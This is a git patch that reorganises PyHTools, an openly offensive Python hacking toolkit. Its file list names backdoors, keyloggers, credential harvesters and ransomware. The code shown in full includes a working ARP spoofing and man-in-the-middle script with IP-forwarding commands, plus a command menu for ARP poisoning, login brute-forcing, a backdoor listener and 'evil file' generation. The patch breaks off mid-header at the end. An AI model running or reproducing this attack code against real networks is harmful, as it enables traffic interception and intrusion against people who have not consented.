From e054ecca77a968fe96d2fe2ab649c48d3e48b40b Mon Sep 17 00:00:00 2001 From: Dhrumil Mistry <56185972+dmdhrumilmistry@users.noreply.github.com> Date: Sat, 11 Jun 2022 15:48:44 +0530 Subject: [PATCH] refactor project files --- README.md | 3 +- UI/functions.py | 182 ----------------- attackers/Network/arpspoofer.py | 163 --------------- attackers/Network/colors.py | 7 - pyhtools.py | 4 - {UI => pyhtools/UI}/colors.py | 1 - pyhtools/UI/functions.py | 192 ++++++++++++++++++ {worms => pyhtools}/__init__.py | 0 pyhtools/__main__.py | 7 + pyhtools/attackers/Network/arpspoofer.py | 170 ++++++++++++++++ .../attackers}/Network/code_injector.py | 5 +- .../attackers}/Network/dnsspoofer.py | 0 .../attackers}/Network/downloads_replacer.py | 0 .../attackers}/Network/machngr.py | 2 +- .../attackers}/Network/network_jammer.py | 0 .../attackers}/Network/nwscan.py | 3 +- .../attackers}/Network/pkt_sniffer.py | 7 +- .../attackers/Websites}/crawler.py | 3 +- .../attackers/Websites}/get_forms.py | 3 +- .../attackers/Websites/login_guesser.py | 2 +- .../attackers/Websites}/spider.py | 2 +- .../Websites/vuln_scanner/README.md | 0 .../Websites/vuln_scanner/scanner.py | 15 +- .../attackers}/Websites/vuln_scanner/sqli.py | 0 .../attackers}/Websites/vuln_scanner/test.txt | 0 .../Websites/vuln_scanner/vuln_scanner.py | 2 +- pyhtools/attackers/__init__.py | 0 .../attackers}/attackers.py | 53 ++--- pyhtools/detectors/__init__.py | 0 .../detectors}/arp_spoof_detector.py | 0 .../TelegramRemoteCodeExecutor/HowToUse.md | 0 .../TelegramRemoteCodeExecutor.py | 0 .../Trojans/HowToCreateTrojanPackage.md | 0 .../malwares}/Trojans/icons/pdf_icon.ico | Bin .../download_and_execute.py | 0 .../reverse_tcp_backdoor/reverse_tcp.py | 0 pyhtools/malwares/__init__.py | 0 .../credential_harvester.py | 0 .../malwares}/downloader/downloader.py | 0 .../malwares/executables}/generate.py | 0 .../malwares}/keylogger/dlogs.py | 0 .../malwares}/keylogger/keylogger.py | 0 .../reverse_backdoor/HTTP/HowToUse.md | 0 .../reverse_backdoor/HTTP/backdoor.py | 0 .../reverse_backdoor/HTTP/listener.py | 0 .../reverse_backdoor/TCP/HowToUse.md | 0 .../reverse_backdoor/TCP/listener.py | 0 .../reverse_backdoor/TCP/reverse_backdoor.py | 0 .../malwares}/send_mail/how to.txt | 0 .../malwares}/send_mail/send_mail.py | 0 .../telegram_data_harvester/HowToUse.md | 0 .../telegram_data_harvester.py | 0 .../wireless_password_harvester/HowToUse.txt | 0 .../wireless_profile_harvester.py | 0 pyhtools/ransomwares/__init__.py | 0 .../ransomwares}/dmsec/HowToUse.md | 0 .../ransomwares}/dmsec/decrypter.py | 0 .../ransomwares}/dmsec/dmsec_ransomeware.py | 0 pyhtools/worms/__init__.py | 0 {worms => pyhtools/worms}/dir_cloner.py | 0 requirements.txt | 3 +- wordlists/README.md | 20 ++ .../wordlist => wordlists}/common_pass.txt | 0 .../files-and-dirs-wordlist.txt | 0 .../subdomains-wordlist.txt | 0 .../wordlists => wordlists}/test-wordlist.txt | 0 66 files changed, 442 insertions(+), 407 deletions(-) delete mode 100644 UI/functions.py delete mode 100644 attackers/Network/arpspoofer.py delete mode 100644 attackers/Network/colors.py delete mode 100644 pyhtools.py rename {UI => pyhtools/UI}/colors.py (92%) create mode 100644 pyhtools/UI/functions.py rename {worms => pyhtools}/__init__.py (100%) create mode 100644 pyhtools/__main__.py create mode 100644 pyhtools/attackers/Network/arpspoofer.py rename {attackers => pyhtools/attackers}/Network/code_injector.py (98%) rename {attackers => pyhtools/attackers}/Network/dnsspoofer.py (100%) rename {attackers => pyhtools/attackers}/Network/downloads_replacer.py (100%) rename {attackers => pyhtools/attackers}/Network/machngr.py (99%) rename {attackers => pyhtools/attackers}/Network/network_jammer.py (100%) rename {attackers => pyhtools/attackers}/Network/nwscan.py (97%) rename {attackers => pyhtools/attackers}/Network/pkt_sniffer.py (96%) rename {attackers/Websites/website_crawler => pyhtools/attackers/Websites}/crawler.py (98%) rename {attackers/Websites/get_form => pyhtools/attackers/Websites}/get_forms.py (98%) rename attackers/Websites/login_guesser/login.py => pyhtools/attackers/Websites/login_guesser.py (96%) rename {attackers/Websites/spider => pyhtools/attackers/Websites}/spider.py (98%) rename {attackers => pyhtools/attackers}/Websites/vuln_scanner/README.md (100%) rename {attackers => pyhtools/attackers}/Websites/vuln_scanner/scanner.py (94%) rename {attackers => pyhtools/attackers}/Websites/vuln_scanner/sqli.py (100%) rename {attackers => pyhtools/attackers}/Websites/vuln_scanner/test.txt (100%) rename {attackers => pyhtools/attackers}/Websites/vuln_scanner/vuln_scanner.py (98%) create mode 100644 pyhtools/attackers/__init__.py rename {attackers => pyhtools/attackers}/attackers.py (65%) create mode 100644 pyhtools/detectors/__init__.py rename {detectors => pyhtools/detectors}/arp_spoof_detector.py (100%) rename {malwares => pyhtools/malwares}/TelegramRemoteCodeExecutor/HowToUse.md (100%) rename {malwares => pyhtools/malwares}/TelegramRemoteCodeExecutor/TelegramRemoteCodeExecutor.py (100%) rename {malwares => pyhtools/malwares}/Trojans/HowToCreateTrojanPackage.md (100%) rename {malwares => pyhtools/malwares}/Trojans/icons/pdf_icon.ico (100%) rename {malwares => pyhtools/malwares}/Trojans/payloads/download_and_execute/download_and_execute.py (100%) rename {malwares => pyhtools/malwares}/Trojans/payloads/reverse_tcp_backdoor/reverse_tcp.py (100%) create mode 100644 pyhtools/malwares/__init__.py rename {malwares => pyhtools/malwares}/credential_harvester/credential_harvester.py (100%) rename {malwares => pyhtools/malwares}/downloader/downloader.py (100%) rename {executables => pyhtools/malwares/executables}/generate.py (100%) rename {malwares => pyhtools/malwares}/keylogger/dlogs.py (100%) rename {malwares => pyhtools/malwares}/keylogger/keylogger.py (100%) rename {malwares => pyhtools/malwares}/reverse_backdoor/HTTP/HowToUse.md (100%) rename {malwares => pyhtools/malwares}/reverse_backdoor/HTTP/backdoor.py (100%) rename {malwares => pyhtools/malwares}/reverse_backdoor/HTTP/listener.py (100%) rename {malwares => pyhtools/malwares}/reverse_backdoor/TCP/HowToUse.md (100%) rename {malwares => pyhtools/malwares}/reverse_backdoor/TCP/listener.py (100%) rename {malwares => pyhtools/malwares}/reverse_backdoor/TCP/reverse_backdoor.py (100%) rename {malwares => pyhtools/malwares}/send_mail/how to.txt (100%) rename {malwares => pyhtools/malwares}/send_mail/send_mail.py (100%) rename {malwares => pyhtools/malwares}/telegram_data_harvester/HowToUse.md (100%) rename {malwares => pyhtools/malwares}/telegram_data_harvester/telegram_data_harvester.py (100%) rename {malwares => pyhtools/malwares}/wireless_password_harvester/HowToUse.txt (100%) rename {malwares => pyhtools/malwares}/wireless_password_harvester/wireless_profile_harvester.py (100%) create mode 100644 pyhtools/ransomwares/__init__.py rename {ransomwares => pyhtools/ransomwares}/dmsec/HowToUse.md (100%) rename {ransomwares => pyhtools/ransomwares}/dmsec/decrypter.py (100%) rename {ransomwares => pyhtools/ransomwares}/dmsec/dmsec_ransomeware.py (100%) create mode 100644 pyhtools/worms/__init__.py rename {worms => pyhtools/worms}/dir_cloner.py (100%) create mode 100644 wordlists/README.md rename {attackers/Websites/login_guesser/wordlist => wordlists}/common_pass.txt (100%) rename {attackers/Websites/website_crawler/wordlists => wordlists}/files-and-dirs-wordlist.txt (100%) rename {attackers/Websites/website_crawler/wordlists => wordlists}/subdomains-wordlist.txt (100%) rename {attackers/Websites/website_crawler/wordlists => wordlists}/test-wordlist.txt (100%) diff --git a/README.md b/README.md index dc8c9e4..d8442e2 100644 --- a/README.md +++ b/README.md @@ -14,7 +14,7 @@ **`NOTE` : The UI hasn't been updated yet with new tools, and evil files so using cli is preferred.** -### How To Videos +## How To Videos - Gain access to remote shell over the Internet using HTTP Backdoor @@ -138,7 +138,6 @@ - [ ] Create package and upload to PyPi - ### Have any Ideas 💡 or issue - Create an issue diff --git a/UI/functions.py b/UI/functions.py deleted file mode 100644 index d7ef3c6..0000000 --- a/UI/functions.py +++ /dev/null @@ -1,182 +0,0 @@ -import pyfiglet -import os -import sys -from prettytable import PrettyTable -# ------------- Custom imports ----------------------- -from UI.colors import * -import attackers.attackers as attacker -import malwares.reverse_backdoor.TCP.listener as listener -import malwares.send_mail.send_mail as mail - - -def clrscr(): - if os.name=='nt': - os.system('cls') - elif os.name=='posix': - os.system('clear') - - -def banner(): - ''' - prints PyHTools Banner - ''' - clrscr() - print(BRIGHT_YELLOW + pyfiglet.figlet_format('PyHTools')) - print(BRIGHT_YELLOW + '+' +'-'*42 + '+' ) - - print(BRIGHT_WHITE +'| written by Dhrumil Mistry\tpht v1.0 |') - print(BRIGHT_YELLOW + '+' + '-'*42 + '+' ) - - -def print_help(): - ''' - prints commands with their brief description. - ''' - print(BRIGHT_WHITE + 'Python Hacking Tools (PyHTools) (pht)') - - help = PrettyTable(['Command','Description']) - help.align['Command'] = 'c' - help.align['Description'] = 'l' - # help.add_row(['','']) - - help.add_row(['clear','clear console']) - help.add_row(['help','display help table']) - help.add_row(['close pht','exit PyHackingTools']) - - help.add_row(['machngr','change mac address of the network interface']) - help.add_row(['arpspoofer','spoof the target by arp poisoning']) - help.add_row(['nwscan','scan for ip range in the network']) - - help.add_row(['webspider','maps all the links which are related to root url on the website']) - help.add_row(['webcrawldirs','scan for valid directories of the website using a wordlist']) - help.add_row(['webcrawlsubdom','scan for valid subdomains of the website using a wordlist']) - help.add_row(['weblogin','bruteforce webpage login']) - help.add_row(['webvulnscan','scan for vulnerabilities on the website']) - - # help.add_row(['','']) - - - - help.add_row(['listener','start listener on specific LHOST and LPORT']) - help.add_row(['sendmail','send mail to specific email address']) - - help.add_row(['gen exe', 'generate executables of reverse backdoor, keylogger, etc.']) - - print(help) - - -def send_mail_to(email, password, receiver, subject, body)->bool: - ''' - send mail - ''' - print(BRIGHT_WHITE + '[*] Sending email...') - msg = f'Subject: {subject}\n{body}' - if mail.send_mail_to(email, receiver, password, msg): - print(BRIGHT_YELLOW + '[\u2714] Mail Sent') - else: - print(BRIGHT_RED + '[\u274c] Unable to send mail.') - - -def listener_option(): - ''' - executes commands to run listener option. - ''' - host = input('[+] LHOST : ') - port = int(input('[+] LPORT : ')) - lsnr = listener.Listener(host,port) - lsnr.run() - - -def sendmail_option(): - ''' - executes commands to run send mail option. - ''' - email = input('[+] gmail acc : ') - password = input('[+] password : ') - print('[!] if you want to send mail to yourself enter "self" (without quotes)') - receiver = input('[+] email to : ') - if receiver.lower() == 'self': - receiver = email - subject = input('[+] subject : ') - body = input('[+] body : ') - send_mail_to(email, password, receiver, subject, body) - - -def machngr_option(): - ''' - executes commands to change mac address - ''' - attacker.mac_changer() - - -def generate_executable(): - ''' - executes commands to generate executables - ''' - print(BRIGHT_YELLOW + '[-] Currently this feature is under test... Will update soon...') - print(BRIGHT_WHITE + '[*] You can use scripts from malwares to manually generate evil files...') - - -def run(): - ''' - start PyHTools - ''' - while True: - cmd = input(BACK_RED_BRIGHT_YELLOW + 'pyhtools >>' + RESET_COLORS + ' ').lower().strip() - - # BASIC UI COMMANDS - if cmd == 'close pht': - wanna_run = False - print(BRIGHT_YELLOW + "[\U0001f604] WE ARE NEVER RESPONSIBLE FOR YOUR ACTIONS!") - print(BRIGHT_RED + '[-] Closing PHT....') - sys.exit(0) - - if cmd == 'clear': - clrscr() - - elif cmd == 'help': - print_help() - - # MALWARES - elif cmd == 'listener': - listener_option() - - elif cmd == 'sendmail': - sendmail_option() - - elif cmd == 'gen exe': - generate_executable() - - # NETWORK ATTACKERS - elif cmd == 'machngr': - machngr_option() - - elif cmd == 'arpspoofer': - attacker.arpspoofer() - - elif cmd == 'nwscan': - attacker.nw_scan() - - # WEB ATTACKERS - elif cmd == 'webspider': - attacker.webspider() - - elif cmd == 'webcrawldirs': - attacker.webcrawldirs() - - elif cmd == 'webcrawlsubdom': - attacker.webcrawlsubdom() - - elif cmd == 'weblogin': - attacker.brute_login() - - elif cmd == 'webvulnscan': - attacker.webvulnscan() - - else: - print(BRIGHT_RED + '[-] Unknown command, use help to view valid commands') - - -if __name__ == '__main__': - banner() - print(BRIGHT_YELLOW + '[\U0001f604] Run pyhtools.py to start Python Hacking Tools.') \ No newline at end of file diff --git a/attackers/Network/arpspoofer.py b/attackers/Network/arpspoofer.py deleted file mode 100644 index 318cf7e..0000000 --- a/attackers/Network/arpspoofer.py +++ /dev/null @@ -1,163 +0,0 @@ -#!usr/bin/env python3 - -# how to forward port on linux -# execute any of the commands below -# 1. sudo sysctl -w net.ipv4.ip_forward = 1 -# 2. sudo echo 1 > /proc/sys/net/ipv4/ip_forward - - -import kamene.all as sp -import argparse -from time import sleep -from UI.colors import * -from sys import exit - - -def get_args(): - ''' - get arguments from command line. - ''' - parser = argparse.ArgumentParser('ARP spoofer') - parser.add_argument('-t', '--target', dest = 'target', help='target ip') - parser.add_argument('-s', '--spoof', dest = 'spoof', help='spoof ip') - parser.add_argument('-mitm', '--man-in-the-middle', dest = 'mitm', help='switch for mitm attack option, default is 0') - - args = parser.parse_args() - - target_ip = args.target - spoof_ip= args.spoof - mitm = args.mitm - del args - return target_ip, spoof_ip, mitm - - -def check_args(target_ip, spoof_ip): - ''' - checks if arguments fetched are valid. - ''' - if not target_ip: - exit(BRIGHT_RED + "[-] Please enter target ip as argument, use -h or --help for more info") - elif not spoof_ip: - exit(BRIGHT_RED + "[-] Please enter spoof ip as argument, use -h or --help for more info") - - return True - - -def generate_packet(PDST, HWDST, PSRC): - ''' - generates spoof packets. - ''' - packet = sp.ARP(op=2, pdst=PDST, hwdst = HWDST, psrc = PSRC) - return packet - - -def get_mac(ip): - ''' - retrieves mac address from the ip. - ''' - try: - arp_req = sp.ARP(pdst=ip) - brdcst = sp.Ether(dst='ff:ff:ff:ff:ff:ff') - - packet = brdcst / arp_req - responded_list = sp.srp(packet, timeout = 2, verbose = False, retry=3)[0] - - return responded_list[0][1].hwsrc - except PermissionError: - print(BRIGHT_RED + '[-] run with sudo.') - exit() - except IndexError: - print(BRIGHT_YELLOW + '\r[!] Unable to find target.') - - -def spoof(target_ip, spoof_ip, args_status): - ''' - spoof target with spoof ip mac. - ''' - if args_status: - target_mac = get_mac(target_ip) - PACKET = generate_packet(target_ip, target_mac, spoof_ip) - sp.send(PACKET, verbose = False) - else: - print('[-] Error while spoofing the target ' + target_ip) - - -def mitm(target_ip, spoof_ip, args_status): - ''' - performs man in the middle attack by arp poisoning. - ''' - print(BRIGHT_YELLOW + '[+] Launching MITM ARP Attack....') - packets_sent = 0 - is_attacking = True - while is_attacking: - try: - spoof(target_ip, spoof_ip, args_status) - spoof(spoof_ip, target_ip, args_status) - packets_sent += 2 - print(BRIGHT_WHITE + '\r[+] Packets sent: ' + str(packets_sent), end='') - sleep(2) - except KeyboardInterrupt: - print(BRIGHT_YELLOW +'\r\n[+] Stopping MITM attack and restoring default settings...') - is_attacking = False - - -def spoof_only(target_ip, spoof_ip, args_status): - ''' - only spoofs the specified target. - ''' - print(BRIGHT_YELLOW + f'[+] Spoofing {target_ip} as {spoof_ip}....') - - packets_sent = 0 - is_spoofing = True - while is_spoofing: - try: - spoof(target_ip, spoof_ip, args_status) - print(BRIGHT_WHITE + '\r[+] Packets sent: ' + str(packets_sent), end='') - packets_sent += 1 - sleep(2) - except KeyboardInterrupt: - print(BRIGHT_YELLOW + '\r\n[+] Stopping and restoring default settings...') - is_spoofing = False - - -def restore_default_table(dst_ip, src_ip): - ''' - restore default arp table of spoofed targets. - ''' - try: - dst_mac = get_mac(dst_ip) - src_mac = get_mac(src_ip) - packet = sp.ARP(op = 2, pdst = dst_ip, hwdst = dst_mac, psrc = src_ip, hwsrc = src_mac) - sp.send(packet, verbose = False, count=4) - - except Exception as e: - print(BRIGHT_RED +'[-] Exception occurred while restoring MAC address') - raise(e) - - -def run_spoofer(target_ip, spoof_ip, perform_mitm): - ''' - start spoofer. - ''' - TARGET_IP, SPOOF_IP, MITM = target_ip, spoof_ip, perform_mitm - ARGS_STATUS = check_args(TARGET_IP, SPOOF_IP) - - if MITM == '1' or MITM: - print(BRIGHT_YELLOW + '[*] Performing MITM attack...') - mitm(TARGET_IP, SPOOF_IP, ARGS_STATUS) - else: - print(BRIGHT_YELLOW + f'[*] Performing Spoof Only on {TARGET_IP} as {SPOOF_IP}...') - spoof_only(TARGET_IP, SPOOF_IP, ARGS_STATUS) - - - print(BRIGHT_YELLOW + '[+] Restoring default table for target and gateway....') - restore_default_table(TARGET_IP, SPOOF_IP) - restore_default_table(SPOOF_IP, TARGET_IP) - - print(BRIGHT_RED +'[+] Closing ARPSPOOFER...') - - -if __name__ == '__main__': - TARGET_IP, SPOOF_IP, MITM = get_args() - run_spoofer(TARGET_IP, SPOOF_IP, MITM) - \ No newline at end of file diff --git a/attackers/Network/colors.py b/attackers/Network/colors.py deleted file mode 100644 index 2910152..0000000 --- a/attackers/Network/colors.py +++ /dev/null @@ -1,7 +0,0 @@ -#!usr/bin/env python3 -from colorama import init, Style, Fore - -init(autoreset=True) -BRIGHT_RED = Style.BRIGHT + Fore.RED -BRIGHT_WHITE = Style.BRIGHT + Fore.WHITE -BRIGHT_YELLOW = Style.BRIGHT + Fore.YELLOW \ No newline at end of file diff --git a/pyhtools.py b/pyhtools.py deleted file mode 100644 index 18d01c4..0000000 --- a/pyhtools.py +++ /dev/null @@ -1,4 +0,0 @@ -import UI.functions as UI - -UI.banner() -UI.run() \ No newline at end of file diff --git a/UI/colors.py b/pyhtools/UI/colors.py similarity index 92% rename from UI/colors.py rename to pyhtools/UI/colors.py index 762f7c6..ef727d3 100644 --- a/UI/colors.py +++ b/pyhtools/UI/colors.py @@ -1,4 +1,3 @@ -#!usr/bin/env python3 from colorama import init, Style, Fore, Back init(autoreset=True) diff --git a/pyhtools/UI/functions.py b/pyhtools/UI/functions.py new file mode 100644 index 0000000..5153014 --- /dev/null +++ b/pyhtools/UI/functions.py @@ -0,0 +1,192 @@ +from pyhtools.UI.colors import * +from prettytable import PrettyTable +import pyfiglet +import os +import sys +import pyhtools.attackers.attackers as attacker +import pyhtools.malwares.reverse_backdoor.TCP.listener as listener +import pyhtools.malwares.send_mail.send_mail as mail + + +def clrscr(): + if os.name == 'nt': + os.system('cls') + elif os.name == 'posix': + os.system('clear') + + +def banner(): + ''' + prints PyHTools Banner + ''' + clrscr() + print(BRIGHT_YELLOW + pyfiglet.figlet_format('PyHTools')) + print(BRIGHT_YELLOW + '+' + '-'*42 + '+') + + print(BRIGHT_WHITE + '| written by Dhrumil Mistry\tpht v1.0 |') + print(BRIGHT_YELLOW + '+' + '-'*42 + '+') + + +def print_help(): + ''' + prints commands with their brief description. + ''' + print(BRIGHT_WHITE + 'Python Hacking Tools (PyHTools) (pht)') + + help = PrettyTable(['Command', 'Description']) + help.align['Command'] = 'c' + help.align['Description'] = 'l' + # help.add_row(['','']) + + help.add_row(['clear', 'clear console']) + help.add_row(['help', 'display help table']) + help.add_row(['close pht', 'exit PyHackingTools']) + + help.add_row(['machngr', 'change mac address of the network interface']) + help.add_row(['arpspoofer', 'spoof the target by arp poisoning']) + help.add_row(['nwscan', 'scan for ip range in the network']) + + help.add_row( + ['webspider', 'maps all the links which are related to root url on the website']) + help.add_row( + ['webcrawldirs', 'scan for valid directories of the website using a wordlist']) + help.add_row( + ['webcrawlsubdom', 'scan for valid subdomains of the website using a wordlist']) + help.add_row(['weblogin', 'bruteforce webpage login']) + help.add_row(['webvulnscan', 'scan for vulnerabilities on the website']) + + # help.add_row(['','']) + + help.add_row(['listener', 'start listener on specific LHOST and LPORT']) + help.add_row(['sendmail', 'send mail to specific email address']) + + help.add_row( + ['gen exe', 'generate executables of reverse backdoor, keylogger, etc.']) + + print(help) + + +def send_mail_to(email, password, receiver, subject, body) -> bool: + ''' + send mail + ''' + print(BRIGHT_WHITE + '[*] Sending email...') + msg = f'Subject: {subject}\n{body}' + if mail.send_mail_to(email, receiver, password, msg): + print(BRIGHT_YELLOW + '[\u2714] Mail Sent') + else: + print(BRIGHT_RED + '[\u274c] Unable to send mail.') + + +def listener_option(): + ''' + executes commands to run listener option. + ''' + host = input('[+] LHOST : ') + port = int(input('[+] LPORT : ')) + lsnr = listener.Listener(host, port) + lsnr.run() + + +def sendmail_option(): + ''' + executes commands to run send mail option. + ''' + email = input('[+] gmail acc : ') + password = input('[+] password : ') + print('[!] if you want to send mail to yourself enter "self" (without quotes)') + receiver = input('[+] email to : ') + if receiver.lower() == 'self': + receiver = email + subject = input('[+] subject : ') + body = input('[+] body : ') + send_mail_to(email, password, receiver, subject, body) + + +def machngr_option(): + ''' + executes commands to change mac address + ''' + attacker.mac_changer() + + +def generate_executable(): + ''' + executes commands to generate executables + ''' + print(BRIGHT_YELLOW + + '[-] Currently this feature is under test... Will update soon...') + print(BRIGHT_WHITE + + '[*] You can use scripts from malwares to manually generate evil files...') + + +def run(): + ''' + start PyHTools + ''' + try: + while True: + cmd = input(BACK_RED_BRIGHT_YELLOW + 'pyhtools >>' + + RESET_COLORS + ' ').lower().strip() + + # BASIC UI COMMANDS + if cmd == 'close pht': + break + + elif cmd == 'clear': + clrscr() + + elif cmd == 'help': + print_help() + + # MALWARES + elif cmd == 'listener': + listener_option() + + elif cmd == 'sendmail': + sendmail_option() + + elif cmd == 'gen exe': + generate_executable() + + # NETWORK ATTACKERS + elif cmd == 'machngr': + machngr_option() + + elif cmd == 'arpspoofer': + attacker.arpspoofer() + + elif cmd == 'nwscan': + attacker.nw_scan() + + # WEB ATTACKERS + elif cmd == 'webspider': + attacker.webspider() + + elif cmd == 'webcrawldirs': + attacker.webcrawldirs() + + elif cmd == 'webcrawlsubdom': + attacker.webcrawlsubdom() + + elif cmd == 'weblogin': + attacker.brute_login() + + elif cmd == 'webvulnscan': + attacker.webvulnscan() + + else: + print(BRIGHT_RED + + '[-] Unknown command, use help to view valid commands') + + except (EOFError, KeyboardInterrupt): + print(BRIGHT_YELLOW + + "[\U0001f604] WE ARE NEVER RESPONSIBLE FOR YOUR ACTIONS!") + print(BRIGHT_RED + '[-] Closing PHT....') + sys.exit(0) + + +if __name__ == '__main__': + banner() + print(BRIGHT_YELLOW + + '[\U0001f604] Run pyhtools.py to start Python Hacking Tools.') diff --git a/worms/__init__.py b/pyhtools/__init__.py similarity index 100% rename from worms/__init__.py rename to pyhtools/__init__.py diff --git a/pyhtools/__main__.py b/pyhtools/__main__.py new file mode 100644 index 0000000..4310259 --- /dev/null +++ b/pyhtools/__main__.py @@ -0,0 +1,7 @@ +from . UI import functions as UI + +UI.banner() +try: + UI.run() +except Exception as e: + print(e) diff --git a/pyhtools/attackers/Network/arpspoofer.py b/pyhtools/attackers/Network/arpspoofer.py new file mode 100644 index 0000000..5058254 --- /dev/null +++ b/pyhtools/attackers/Network/arpspoofer.py @@ -0,0 +1,170 @@ +# how to forward port on linux +# execute any of the commands below +# 1. sudo sysctl -w net.ipv4.ip_forward = 1 +# 2. sudo echo 1 > /proc/sys/net/ipv4/ip_forward + + +import kamene.all as sp +import argparse +from time import sleep +from pyhtools.UI.colors import * +from sys import exit + + +def get_args(): + ''' + get arguments from command line. + ''' + parser = argparse.ArgumentParser('ARP spoofer') + parser.add_argument('-t', '--target', dest='target', help='target ip') + parser.add_argument('-s', '--spoof', dest='spoof', help='spoof ip') + parser.add_argument('-mitm', '--man-in-the-middle', dest='mitm', + help='switch for mitm attack option, default is 0') + + args = parser.parse_args() + + target_ip = args.target + spoof_ip = args.spoof + mitm = args.mitm + del args + return target_ip, spoof_ip, mitm + + +def check_args(target_ip, spoof_ip): + ''' + checks if arguments fetched are valid. + ''' + if not target_ip: + exit(BRIGHT_RED + + "[-] Please enter target ip as argument, use -h or --help for more info") + elif not spoof_ip: + exit(BRIGHT_RED + + "[-] Please enter spoof ip as argument, use -h or --help for more info") + + return True + + +def generate_packet(PDST, HWDST, PSRC): + ''' + generates spoof packets. + ''' + packet = sp.ARP(op=2, pdst=PDST, hwdst=HWDST, psrc=PSRC) + return packet + + +def get_mac(ip): + ''' + retrieves mac address from the ip. + ''' + try: + arp_req = sp.ARP(pdst=ip) + brdcst = sp.Ether(dst='ff:ff:ff:ff:ff:ff') + + packet = brdcst / arp_req + responded_list = sp.srp(packet, timeout=2, verbose=False, retry=3)[0] + + return responded_list[0][1].hwsrc + except PermissionError: + print(BRIGHT_RED + '[-] run with sudo.') + exit() + except IndexError: + print(BRIGHT_YELLOW + '\r[!] Unable to find target.') + + +def spoof(target_ip, spoof_ip, args_status): + ''' + spoof target with spoof ip mac. + ''' + if args_status: + target_mac = get_mac(target_ip) + PACKET = generate_packet(target_ip, target_mac, spoof_ip) + sp.send(PACKET, verbose=False) + else: + print('[-] Error while spoofing the target ' + target_ip) + + +def mitm(target_ip, spoof_ip, args_status): + ''' + performs man in the middle attack by arp poisoning. + ''' + print(BRIGHT_YELLOW + '[+] Launching MITM ARP Attack....') + packets_sent = 0 + is_attacking = True + while is_attacking: + try: + spoof(target_ip, spoof_ip, args_status) + spoof(spoof_ip, target_ip, args_status) + packets_sent += 2 + print(BRIGHT_WHITE + '\r[+] Packets sent: ' + + str(packets_sent), end='') + sleep(2) + except KeyboardInterrupt: + print(BRIGHT_YELLOW + + '\r\n[+] Stopping MITM attack and restoring default settings...') + is_attacking = False + + +def spoof_only(target_ip, spoof_ip, args_status): + ''' + only spoofs the specified target. + ''' + print(BRIGHT_YELLOW + f'[+] Spoofing {target_ip} as {spoof_ip}....') + + packets_sent = 0 + is_spoofing = True + while is_spoofing: + try: + spoof(target_ip, spoof_ip, args_status) + print(BRIGHT_WHITE + '\r[+] Packets sent: ' + + str(packets_sent), end='') + packets_sent += 1 + sleep(2) + except KeyboardInterrupt: + print(BRIGHT_YELLOW + + '\r\n[+] Stopping and restoring default settings...') + is_spoofing = False + + +def restore_default_table(dst_ip, src_ip): + ''' + restore default arp table of spoofed targets. + ''' + try: + dst_mac = get_mac(dst_ip) + src_mac = get_mac(src_ip) + packet = sp.ARP(op=2, pdst=dst_ip, hwdst=dst_mac, + psrc=src_ip, hwsrc=src_mac) + sp.send(packet, verbose=False, count=4) + + except Exception as e: + print(BRIGHT_RED + + '[-] Exception occurred while restoring MAC address') + raise(e) + + +def run_spoofer(target_ip, spoof_ip, perform_mitm): + ''' + start spoofer. + ''' + TARGET_IP, SPOOF_IP, MITM = target_ip, spoof_ip, perform_mitm + ARGS_STATUS = check_args(TARGET_IP, SPOOF_IP) + + if MITM == '1' or MITM: + print(BRIGHT_YELLOW + '[*] Performing MITM attack...') + mitm(TARGET_IP, SPOOF_IP, ARGS_STATUS) + else: + print(BRIGHT_YELLOW + + f'[*] Performing Spoof Only on {TARGET_IP} as {SPOOF_IP}...') + spoof_only(TARGET_IP, SPOOF_IP, ARGS_STATUS) + + print(BRIGHT_YELLOW + + '[+] Restoring default table for target and gateway....') + restore_default_table(TARGET_IP, SPOOF_IP) + restore_default_table(SPOOF_IP, TARGET_IP) + + print(BRIGHT_RED + '[+] Closing ARPSPOOFER...') + + +if __name__ == '__main__': + TARGET_IP, SPOOF_IP, MITM = get_args() + run_spoofer(TARGET_IP, SPOOF_IP, MITM) diff --git a/attackers/Network/code_injector.py b/pyhtools/attackers/Network/code_injector.py similarity index 98% rename from attackers/Network/code_injector.py rename to pyhtools/attackers/Network/code_injector.py index d4f6d2e..39c8c6b 100644 --- a/attackers/Network/code_injector.py +++ b/pyhtools/attackers/Network/code_injector.py @@ -1,5 +1,3 @@ -#!usr/bin/env python3 - ######################################################################### # Author : Dhrumil Mistry ######################################################################### @@ -14,7 +12,8 @@ import netfilterqueue import scapy.all as scapy from re import search, sub -from colors import * +from pyhtools.UI.colors import * + ############################### Functions ############################### def forward_packets(): diff --git a/attackers/Network/dnsspoofer.py b/pyhtools/attackers/Network/dnsspoofer.py similarity index 100% rename from attackers/Network/dnsspoofer.py rename to pyhtools/attackers/Network/dnsspoofer.py diff --git a/attackers/Network/downloads_replacer.py b/pyhtools/attackers/Network/downloads_replacer.py similarity index 100% rename from attackers/Network/downloads_replacer.py rename to pyhtools/attackers/Network/downloads_replacer.py diff --git a/attackers/Network/machngr.py b/pyhtools/attackers/Network/machngr.py similarity index 99% rename from attackers/Network/machngr.py rename to pyhtools/attackers/Network/machngr.py index f849ec7..14f2d45 100644 --- a/attackers/Network/machngr.py +++ b/pyhtools/attackers/Network/machngr.py @@ -5,7 +5,7 @@ import argparse from sys import exit from random import randint -from UI.colors import * +from pyhtools.UI.colors import * import os diff --git a/attackers/Network/network_jammer.py b/pyhtools/attackers/Network/network_jammer.py similarity index 100% rename from attackers/Network/network_jammer.py rename to pyhtools/attackers/Network/network_jammer.py diff --git a/attackers/Network/nwscan.py b/pyhtools/attackers/Network/nwscan.py similarity index 97% rename from attackers/Network/nwscan.py rename to pyhtools/attackers/Network/nwscan.py index 20d40ca..7f38549 100644 --- a/attackers/Network/nwscan.py +++ b/pyhtools/attackers/Network/nwscan.py @@ -1,8 +1,7 @@ #!usr/bin/env python3 import kamene.all as sp import argparse -from UI.colors import * -# from colors import * +from pyhtools.UI.colors import * def get_args(): diff --git a/attackers/Network/pkt_sniffer.py b/pyhtools/attackers/Network/pkt_sniffer.py similarity index 96% rename from attackers/Network/pkt_sniffer.py rename to pyhtools/attackers/Network/pkt_sniffer.py index 714f81b..b047f93 100644 --- a/attackers/Network/pkt_sniffer.py +++ b/pyhtools/attackers/Network/pkt_sniffer.py @@ -1,11 +1,8 @@ -#!usr/bin/env python - -# sudo pip install scapy_http -import scapy.all as sp +import scapy.all as sp # sudo pip install scapy_http (python2) from scapy.layers import http import argparse from sys import exit -from colors import * +from pyhtools.UI.colors import * def get_args(): diff --git a/attackers/Websites/website_crawler/crawler.py 